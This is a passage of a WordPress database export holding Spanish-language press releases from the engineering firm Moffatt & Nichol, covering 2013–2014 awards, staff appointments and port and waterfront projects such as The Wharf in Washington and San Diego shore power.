la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-25','','','2014-05-21 23:40:12','2014-05-21 23:40:12','',1399,'http://moffattnichol.com/spanish/1399-revision-25/',0,'revision','',0),(2830,1,'2014-06-03 20:59:15','2014-06-03 20:59:15','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Moffatt &amp; Nichol Seleccionado Como Consultor Del Año Por APWA, Capítulo Atlántico Medio </h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\" alt=\"\" width=\"400\" height=\"430\" /></a>\r\n\r\nNORFOLK, VA, 3 de junio de 2014 – La Asociación Americana de Trabajos Públicos, APWA, Capítulo Atlántico Medio, recientemente seleccionó a Moffatt & Nichol como Consultor del Año 2014. El galardón fue recibido el 8 de mayo durante una ceremonia de entrega en la Conferencia y Show de  APWA Capítulo Atlántico Medio, realizado en Newport News, VA. La firma fue nominada por la Ciudad de Norfolk.  \r\n\r\n“Moffatt & Nichol se siente honrado de haber sido nominado por uno de nuestros más antiguos clientes y seleccionado por el APWA Capítulo Atlántico Medio como el Consultor del Año”, dijo Michael Rieger, Líder de Unidad de Negocio de la oficina de Norfolk de Moffatt & Nichol. “Esto puede atribuirse a un sólido compromiso con la atención al cliente y el arduo trabajo de nuestro equipo”. \r\n\r\nMoffatt & Nichol ha ejecutado servicios de ingeniería para varios proyectos con la Ciudad de Norfolk desde 2002, incluyendo inspección de estribos, protección costera e inspección subacuática con sus respectivos servicios de ingeniería relacionados. La firma ha desarrollado trabajos para otras municipalidades en el área del Atlántico Medio, incluyendo Virginia Beach, Portsmouth, Chesapeake, Suffolk, Newport News, Poquoson and Hampton. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Ceremonia Inicial En The Wharf, En Southwest Waterfront</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nLong Beach, CA, mayo 2 de 2014 – El 19 de marzo, el Southwest Waterfront del distrito de Columbia marcó un significativo hito cuando- luego de ocho años de debida diligencia, planeación, diseño, permisos y rezonificación- el equipo Hoffman-Madison Waterfront Development inició obras en The Wharf. Como miembro clave del equipo, Moffatt & Nichol es responsable de la planeación, diseño, permisos, inspección, estimación de costos y evaluación financiera de todos los elementos de frente de mar del proyecto. La firma también está proporcionando los servicios de un ingeniero residente de especialidad marítima para ofrecer apoyo en la construcción para todas las instalaciones marítimas. Entre los oradores de la ceremonia estuvieron los desarrolladores y líderes de la ciudad, incluyendo el alcalde Vince Gray y miembros del Concejo de D.C. \r\n\r\nThe Wharf será un desarrollo costero de uso mixto con clase mundial de una milla de extensión, ubicado en el histórico Washington Channel, con un área de desarrollo que se extiende por 24 hectáreas de terreno y más de 50 hectáreas de agua. Una vez completado, The Wharf contará con3.2 millones de pies cuadrados de área residencial, oficinas, hoteles, venta al detal, áreas culturales, marina y espacios públicos incluyendo parques costeros, paseos, muelles y embarcaderos. La Fase 1 que se estima se complete en 2017 incluye 1.5 millones de pies cuadrados de desarrollo. Del lado marítimo habrá cuatro muelles de acceso público, un club de yates privado y una nueva marina pública con instalaciones para visitar a los navegantes. \r\n\r\nEl plan acuático desarrollado por Moffatt & Nichol genera una gran cantidad de actividades marítimas que harán del Southwest Waterfron un destino regional. Toda la actividad marítima se conecta a tierra a través de una serie de muelles programables los cuales sirven como una extensión de la red de la ciudad hacia el agua. Estos muelles activos se conectarán a una calle compartida o un “muelle” en el centro del sitio, conduciendo a los peatones más allá de la línea costera y uniendo los usos terrestres y marítimos en un entorno urbano lleno de vida las 24 horas. \r\n\r\n“Nuestra meta con este proyecto es facilitar una variedad de actividades marítimas y servicios de clase mundial para equiparar las actividades en el lado terrestre”, comentó Rob Sloop, Gerente de Proyecto de Moffatt & Nichol para The Wharf. “De esta manera, los residentes y los visitantes por igual quedarán maravillados con el ambiente energético y estimulante de Southwest Waterfront”.  \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"30\">El Puerto De San Diego Mantiene Su Compromiso De Reducir Las Emisiones De Buques Con La Ayuda De Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nSan Diego, CA, 30 de abril, 2014 – El Puerto de San Diego hizo un compromiso para reducir las  emisiones de buques para el año 2014  en Tenth Avenue Marine Terminal (TAMT), y cumplió esa promesa al encender la estación de energía en la costa el lunes 24 de febrero de 2014. Esta acción mejorará la calidad del aire y reducirá las emisiones de gases de efecto invernadero por encima de 50% al año, al permitir que buques cargueros “se conecten” en lugar de mantener encendidos sus propios motores a diésel mientras están en el puerto. Para colaborar en el logro de esta meta, Moffatt & Nichol llevó a cabo un detallado análisis del sistema eléctrico para maximizar el uso de los sistemas de conmutación y conductos existentes, y minimizar la longitud total de la excavación de zanjas que se requerían para los nuevos ductos.  Este diseño también incluye provisiones para una segunda futura subestación que proveerá energía a un segundo muelle, permitiendo que dos buques de contenedores refrigerados totalmente cargados (u otro tipo de buque) reciban energía desde la costa, simultáneamente. \r\n\r\n“Dedicación y trabajo en equipo entre el Puerto y Moffatt & Nichol fue lo que permitió el éxito de este proyecto” dijo Tyler Sparks, Ingeniero Eléctrico Senior y Gerente de Proyecto. “El equipo de ingeniería del puerto trabajó conjuntamente con el equipo de diseño de Moffatt & Nichol para diseñar, administrar la construcción y para lograr la puesta en marcha a tiempo y dentro del presupuesto. Estamos orgullosos de haber sido parte de este proyecto ambientalmente vanguardista.” \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"29\">Proyecto De Nuevo Tramo De Puente Entre San Francisco Y La Bahia De Oakland Gana Galardón De Proyecto Del Año Del Distrito 9 De ASCE</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nWalnut Creek, CA, 28 de abril de 2014 – El Distrito 9 de la Sociedad Americana de Ingenieros Civiles (ASCE) realizó su premiación anual el viernes 14 de marzo y proclamó el proyecto “San Francisco-Oakland Bay Bridge New East Span” como el ganador de la categoría Proyecto del Año. Como parte de un consorcio, Moffatt & Nichol proporcionó servicios de diseño de ingeniería para el reemplazo del segmento dual de losa paralela de 2.2 millas, en la porción Este del puente, que conecta con Yerba Buena Island en el Oeste y con Oakland en el Este. \r\n\r\n“Al igual que cualquier otro proyecto público de alto perfil, el nuevo puente de Bay Bridge atrae el interés de mucha gente. Estoy orgulloso de que nuestro equipo se mantuviera positivo y enfocado en alcanzar la meta de seguridad sísmica. El público ahora cuenta con un hermoso y seguro puente que servirá a la comunidad por muchos años” dijo Scott Buckley, administrador de proyecto y gerente de contrato. En nombre del equipo de diseño conformado por Caltrans/T.Y.Lin/Moffatt & Nichol estamos agradecidos con esta prestigiosa distinción de parte de ASCE Distrito 9.”\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"28\">Robin Dolan Se Une A Moffatt &amp; Nichol Como Nuevo Líder De Servicios Comerciales</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nNueva York, Estados Unidos y Londres, Reino Unido, marzo 25, 2014— Moffatt & Nichol se complace en anunciar que Robin Dolan se une a la firma como Líder de Servicios Comerciales. Los servicios comerciales internos de la firma están basados en nuestras oficinas en Nueva York y Londres e incluyen expertos en logística y en proyectos marítimos especializados en la evaluación,  análisis, adquisición y fusión de infraestructuras marítimas, sistemas intermodales de transporte y pronósticos de mercado e ingresos asociados con el movimiento de carga. \r\n\r\nLuego de trabajar para Royal Navy en la década de los 80, el Sr. Dolan ha trabajado en puestos de creciente responsabilidad en la industria portuaria, incluyendo varias posiciones con P&O Ports en Londres y Nueva Jersey, entre 1998 y 2007. Recientemente fue Vicepresidente de Desarrollo Corporativo para PortsAmerica en Ciudad Jersey, Nueva Jersey. \r\n \r\nEl Sr. Dolan es altamente calificado para la identificación, evaluación, negociación y desarrollo de proyectos de terminales marítimas. Ha creado visiones de crecimiento estratégico para varias organizaciones y ha dirigido fusiones negociadas, adquisiciones, nuevos desarrollos y otros emprendimientos con organizaciones líderes en la industria marítima y portuaria. Posee también amplia experiencia en la ejecución y desarrollo de planes que conducen al crecimiento de organizaciones y marcan el camino para la rentabilidad continua y sostenible. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"27\">Moffatt &amp; Nichol Presenta A Marcos Vendramini Como Líder De Unidad Negocios Para La Oficina De Brasil</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nRío de Janeiro, Brasil, marzo 24, 2014— Moffatt & Nichol se complace en anunciar que Marcos Vendramini se une a nuestra oficina en Río de Janeiro, Brasil, como nuevo Líder de Unidad de Negocios. El Sr. Vendramini tiene más de 29 años de experiencia en proyectos de infraestructura de transporte, principalmente en puertos, ferrocarriles y aeropuertos. Su amplio portafolio de experiencia en Brasil y en los países vecinos incluye a varios de los actuales clientes de Moffatt & Nichol y también clientes en prospecto. El Sr. Vendramini también tiene considerable práctica en la operación de oficinas, administración de proyectos, negocios, planeación estratégica y manejo de cuentas de clientes. Recientemente fue Director para los puertos y negocios marítimos de AECOM. \r\n\r\n“Marcos está preparado para continuar la iniciativa que nació en Brasil un par de años atrás”, dijo Eric Nichol, Presidente de Moffatt & Nichol. “Su amplia trayectoria en la industria será un activo para nuestro equipo y nuestros clientes a medida que crecemos dentro del mercado brasileño”.\r\n\r\nEl Sr. Vendramini posee registro CREA en Brasil y obtuvo su Licenciatura en Ingeniería Mecánica Industrial de la Universidad Universidade Metodista de Piracicaba en Brasil y su Maestría en Planeación, Diseño y Administración de Sistemas Aeroportuarios en el Massachusetts Institute of Technology.\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales 